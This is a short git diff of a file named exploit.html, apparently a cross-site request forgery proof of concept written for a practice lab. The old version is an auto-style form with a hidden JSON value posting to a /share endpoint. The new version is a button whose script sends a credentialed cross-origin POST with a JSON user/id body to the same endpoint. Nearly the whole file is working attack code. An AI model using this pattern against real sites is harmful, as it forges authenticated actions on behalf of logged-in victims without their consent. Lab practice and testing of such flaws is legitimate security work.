diff --git a/exploit.html b/exploit.html
index 998fdbb..6837977 100644
--- a/exploit.html
+++ b/exploit.html
@@ -1,9 +1,15 @@
+<!DOCTYPE html>
 <html>
-	<body>
-		<h1> hello </h1>
-		<form method="POST" action="https://ptl-7374ade8-f31b71a6.libcurl.so/share">
-			<input type="hidden" name="" value="{"user":"test","id":0}"/>
-			<input type="submit" value="Submit">
-		</form>
-	</body>
-<html>
+<body>
+<button onclick='sendRequest()'>Submit request</button>
+<script>
+function sendRequest() {
+  var xhr = new XMLHttpRequest();
+  xhr.open('POST', 'http://ptl-7374ade8-f31b71a6.libcurl.so:80/share');
+  xhr.withCredentials = true;
+  xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
+  xhr.send({"user":"test","id":0}  );
+}
+</script>
+</body>
+</html>
